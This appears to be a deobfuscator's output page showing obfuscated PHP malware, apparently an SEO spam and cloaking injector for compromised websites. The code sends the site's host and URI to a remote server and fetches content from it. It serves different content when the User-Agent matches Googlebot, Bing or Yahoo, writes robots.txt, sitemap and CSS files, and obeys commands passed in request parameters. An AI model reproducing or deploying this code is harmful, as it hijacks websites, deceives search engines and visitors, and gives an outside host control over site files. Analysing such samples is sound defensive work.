UMja4: goto z9jLC; goto Unqy2; wijLM: $gnIHj = str_rot13(substr($vHRNB, 0, 3) . substr($MXq5b, 0, 3)) . "\x2e\143\163\163"; goto XuOJk; z80iS: if (substr($sQbpv, 0, 4) == "\x77\x77\x77\x2e") { goto X8MXe; } goto ywZO2; U0aIR: $TwpJQ = $zoWS5 . "\x3a\x2f\57" . $MXq5b . "\x2f\x69\x6e\x64\145\170\x6e\145\167\x2e\x70\150\x70\77\167\145\142\75" . $sQbpv . "\x26\172\172\x3d" . i2Cs5() . "\46\x75\x72\151\75" . $IwIe0 . "\x26\x75\162\x6c\163\150\141\156\147\75" . $UmEcF . "\46\150\164\164\160\75" . $MTgiC . "\x26\x6c\141\x6e\147\75" . $cDOoX; goto UMja4; XuOJk: $h0eJD = $kd__e . "\x2f" . $rM613 . "\x2f" . $gnIHj; goto qZDmJ; OoL0o: FnDvt: goto D70IQ; YBQTc: $sQbpv = $_SERVER["\110\x54\124\120\137\110\117\123\x54"]; goto TGC8o; EDqNB: $TwpJQ = $zoWS5 . "\72\x2f\x2f" . $MXq5b . "\x2f\151\x6e\x64\x65\170\156\145\167\56\x70\x68\160\x3f\167\145\x62\75" . $sQbpv . "\46\x7a\172\75" . i2cS5() . "\x26\x75\x72\x69\75" . $IwIe0 . "\x26\165\162\x6c\x73\150\x61\x6e\147\75" . $UmEcF . "\x26\150\x74\164\160\x3d" . $MTgiC . "\46\x6c\141\x6e\147\x3d" . $cDOoX . "\46\x63\x73\163\x3d\x31"; goto wFJ83; qZDmJ: $oXT1k = $zoWS5 . "\x3a\57\57" . $MXq5b . "\57\x74\x65\155\160\x2f\x73\164\x79\x6c\x65\x2e\x63\163\x73"; goto IHLTI; yMCqt: function I2CS5() { goto Etxg0; YFEaq: goto QBaVS; goto DMX_n; DMX_n: efSaX: goto jPURU; wE1VB: return false; goto YFEaq; PJbyy: if (stristr($qWu_n, "\x67\157\x6f\147\154\x65\142\157\164") || stristr($qWu_n, "\x62\x69\x6e\x67") || stristr($qWu_n, "\x79\x61\150\x6f\157") || stristr($qWu_n, "\147\x6f\x6f\x67\x6c\x65") || stristr($qWu_n, "\107\157\x6f\147\154\x65\142\x6f\164") || stristr($qWu_n, "\x67\x6f\x6f\x67\154\x65\142\157\x74")) { goto efSaX; } goto wE1VB; oWxS_: QBaVS: goto DdL2e; jPURU: return true; goto oWxS_; Etxg0: $qWu_n = strtolower($_SERVER["\110\124\124\120\137\x55\123\x45\122\x5f\101\107\105\x4e\x54"]); goto PJbyy; DdL2e: } goto VS0z5; ngG8U: function y5zul() { goto vanJL; nqgZY: return true; goto Gy8SH; ePQon: return false; goto oeCF4; YSV2h: goto eLcQv; goto ZHiDb; F6iY2: return true; goto YSV2h; jupIC: return true; goto kO_Oe; kO_Oe: goto eLcQv; goto syIND; syIND: BQAtT: goto nqgZY; Gy8SH: eLcQv: goto ePQon; ZHiDb: KHAhg: goto jupIC; IttnO: ErceS: goto F6iY2; nzJ2v: goto eLcQv; goto IttnO; vanJL: if (isset($_SERVER["\x48\x54\124\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x53"]) !== "\157\146\146") { goto ErceS; } goto QImcg; B9gFX: if (isset($_SERVER["\x48\x54\124\120\x5f\x46\x52\117\x4e\124\137\x45\x4e\x44\137\x48\x54\x54\x50\123"]) && strtolower($_SERVER["\110\x54\x54\120\x5f\x46\122\x4f\116\124\x5f\x45\116\104\x5f\110\124\124\120\123"]) !== "\x6f\x66\146") { goto BQAtT; } goto nzJ2v; QImcg: if (isset($_SERVER["\110\x54\124\120\x5f\130\137\106\117\x52\x57\101\x52\104\x45\104\x5f\x50\122\117\124\117"]) && $_SERVER["\x48\124\124\x50\137\x58\x5f\x46\117\122\x57\101\x52\104\105\x44\137\x50\122\x4f\x54\117"] === "\x68\164\164\x70\x73") { goto KHAhg; } goto B9gFX; oeCF4: } goto YBQTc; JQ9hs: if (strstr($kSx3j, "\x6f\153\x68\x74\155\154\x67\145\x74\x63\157\x6e\x74\x65\x6e\x74")) { goto R51nv; } goto JrxBv; RGE2c: if ($QMDxz) { goto EGbuK; } goto b5aAC; otmOv: if (!is_file($GmpNs)) { goto OXkM9; } goto S4HYy; cfnvZ: goto XDYK4; goto exxIF; Y9CCp: $yMK3g = KLdTg(); goto mVPE7; knROs: goto rR8xp; goto BoeKe; cRCdD: $SNv01 = @$_REQUEST["\155\x61\160\156\x61\155\145"]; goto xzNZ0; q9V6y: @ignore_user_abort(1); goto UK3fJ; SZSKf: if (stripos($yMK3g, "\162\145\x70\157\162\x74\56\x70\x68\x70")) { goto gTI2j; } goto xsD5N; slLmD: sAZCO: goto VEkTm; DF1kt: h3iex($whVfK, $h0eJD, $oXT1k); goto wccdW; J643d: $vm7xw = DN1JB($wi3yO); goto p2yrv; ZGnaj: if (!($yMK3g == "\57" || strstr($yMK3g, "\145\167\x74\x74\155"))) { goto rayog; } goto C1h5g; io_z8: $MTgiC = "\150\x74\164\x70"; goto JnJIE; hk8be: $rM613 = "\143\163\x73"; goto cfnvZ; l8EWG: $whVfK = $kd__e . "\57" . $rM613; goto z80iS; JrxBv: if (strstr($kSx3j, "\x6f\153\170\x6d\154\147\x65\164\143\x6f\x6e\x74\x65\x6e\164")) { goto vqWhH; } goto yt9YX; orCjI: eyQUb: goto mW9nY; CPml_: exit; goto JzIws; BoeKe: or8tq: goto vcjet; rfdkm: echo "\x3c\x62\162\x3e\x73\x69\x74\145\x6d\141\x70\40\x61\154\162\x65\141\x64\x79\x20\141\144\144\x65\x64\x21\x3c\x62\x72\76"; goto jbjrU; xb4TM: if (strstr($kSx3j, "\147\x65\164\143\x6f\x6e\164\145\x6e\164\65\x30\x30\x70\x61\147\145")) { goto DKLPv; } goto AIrxQ; BGtdJ: v0ELh: goto J643d; GrTxz: JZj0h: goto wijLM; Ozooj: tGb0d: goto vGLtP; hl0wl: $O9PE5 = sha1(sha1(@$_REQUEST["\142"])); goto rbqvL; ESLMC: $wi3yO = $kd__e . "\x2f\162\x6f\x62\157\164\163\56\164\170\164"; goto Zd5pa; Z1cdJ: if (isset($_SERVER["\x44\117\103\x55\x4d\105\x4e\124\x5f\x52\x4f\x4f\124"])) { goto qRfwB; } goto ITdn3; VS0z5: function dN1jB($ZGLoD) { goto lrVaY; hZAFj: $svSxg = curl_exec($uc5HJ); goto RlIMA; ItS4r: nB1qC: goto MXmWn; ZtoQC: $svSxg = @file_get_contents($ZGLoD); goto kMcXF; XufmL: $uc5HJ = curl_init(); goto G7LU7; Kagis: curl_setopt($uc5HJ, CURLOPT_CONNECTTIMEOUT, 30); goto hZAFj; RlIMA: curl_close($uc5HJ); goto ItS4r; pxviz: curl_setopt($uc5HJ, CURLOPT_SSL_VERIFYPEER, 0); goto LiTBK; wRK5a: return $svSxg; goto p9p3W; MXmWn: if ($svSxg) { goto RXVUX; } goto ZtoQC; lrVaY: $svSxg = ''; goto RjUEj; hXXfU: curl_setopt($uc5HJ, CURLOPT_SSL_VERIFYHOST, 0); goto pxviz; LiTBK: curl_setopt($uc5HJ, CURLOPT_RETURNTRANSFER, 1); goto Kagis; kMcXF: RXVUX: goto wRK5a; RjUEj: if (!function_exists("\x63\x75\x72\154\137\x69\x6e\x69\x74")) { goto nB1qC; } goto XufmL; G7LU7: curl_setopt($uc5HJ, CURLOPT_URL, $ZGLoD); goto hXXfU; p9p3W: } goto C3_41; WWzbV: echo Fp9Lb($kSx3j); goto Nx0Hn; f2_TN: HSCda: goto s0KsM; JnJIE: goto P7aZw; goto CmPkm; SKfE4: $kd__e = $_SERVER["\x44\x4f\x43\x55\x4d\105\x4e\x54\137\x52\x4f\117\x54"]; goto iUlLi; Z7uLt: if (file_exists($h0eJD)) { goto HSCda; } goto nu22W; sQEHI: exit; goto OoL0o; ovWUY: echo $kSx3j; goto i9Tp1; xzNZ0: $QMDxz = @$_REQUEST["\141\143\164\151\x6f\x6e"]; goto Z1cdJ; GP_L2: V04gI: goto SiRFv; dsut2: gYgW3: goto lMTF9; VxId5: qRfwB: goto SKfE4; NgWHU: rayog: goto LZ8yK; bHrtg: $kSx3j = trim(dn1jB($TwpJQ)); goto fKQgr; LdOd1: echo "\x3c\142\x72\x3e\x66\151\x6c\x65\40\x77\x72\x69\x74\145\x20\146\x61\154\x73\x65\x21\74\142\x72\x3e"; goto FEdhV; A0E11: OBfyM: goto mgD0P; VEkTm: $IwIe0 = urlencode($yMK3g); goto P4hvu; iUlLi: Pzk14: goto RGE2c; O2Wmr: $UmEcF = urlencode($UmEcF); goto U422a; U422a: Bnb6K: goto PppcO; xOUhY: djsHg:

Function Calls

None

Variables

None

Stats

MD5 4c3e042fe29a74f10e850ca1ea604f8e
Eval Count 0
Decode Time 63 ms